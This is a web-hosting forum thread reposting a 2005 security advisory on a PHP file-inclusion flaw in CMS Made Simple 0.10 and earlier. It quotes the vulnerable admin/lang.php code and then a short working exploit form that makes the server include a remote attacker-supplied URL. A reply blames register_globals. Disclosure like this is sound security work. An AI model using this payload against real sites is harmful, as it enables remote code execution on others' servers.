Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    groszynskif@gmail.com
    CMS Made Simple <= 0.10 - PHP injection
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    CMS Made Simple <= 0.10 - PHP injection

    -- == -- == -- == -- == -- == -- == -- == -- == -- == --
    Name: CMS Made Simple - PHP injection
    Version <= 0.10
    Homepage: http://www.cmsmadesimple.org/

    Author: Filip Groszynski (VXSfx)
    Date: 31 August 2005
    -- == -- == -- == -- == -- == -- == -- == -- == -- == --

    Background:

    CMS Made Simple is an easy to use content managment
    system for simple stable content site. Uses PHP, MySQL
    and Smarty templating system.

    --------------------------------------------------------

    Vulnerable code exist in ./admin/lang.php:

    <?php
    ...
    $current_language = "en_US";
    #Only do language stuff for admin pages
    [!] if (isset($CMS_ADMIN_PAGE)) {
    ...
    #Check to see if there is already a language in use...
    if (isset($_POST["change_cms_lang"])) {
    [!] $current_language = $_POST["change_cms_lang"];
    setcookie("cms_language", $_POST["change_cms_lang"]);
    } else if (isset($_COOKIE["cms_language"])) {
    $current_language = $_COOKIE["cms_language"];
    }
    else {
    ...
    }

    #Ok, we have a language to load, let's load it already...
    if (isset($nls['file'][$current_language])) {
    foreach ($nls['file'][$current_language] as $onefile) {
    [!] include($onefile);
    }
    }
    ...
    }
    ...
    ?>
    --------------------------------------------------------

    Exploit:

    example.html:
    <form action="http://(__VICTIM__)/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
    <input type=hidden name=change_cms_lang value=vx>
    <input type=submit name=test VALUE="do it">
    </form>
    EOF

    --------------------------------------------------------

    Contact:

    Author: Filip Groszynski (VXSfx)
    Location: Poland <Warsaw>
    Email: groszynskif <|> gmail <|> com

    -- == -- == -- == -- == -- == -- == -- == -- == -- == --

  2. #2
    garaged
    CMS Made Simple &lt;= 0.10 - PHP injection
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: CMS Made Simple <= 0.10 - PHP injection

    having register_globals =3D On is the problem, that script should work
    correctly with Off.


    --=20
    Linux garaged 2.6.9-rc1-mm1 #3 SMP Mon Aug 30 12:14:50 CDT 2004 i686
    Intel(R) Pentium(R) 4 CPU 2.80GHz GenuineIntel GNU/Linux
    -----BEGIN GEEK CODE BLOCK-----
    Version: 3.12
    GS/S d- s: a-29 C++(+++) ULAHI+++ P+ L++>+++ E--- W++ N* o-- K- w++++
    O- M-- V-- PS+ PE Y-- PGP++ t- 5- X+ R tv++ b+ DI+++ D- G++ e++ h+ r+
    z**
    ------END GEEK CODE BLOCK------
    gpg-key: http://garaged.homeip.net/gpg-key.txt

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics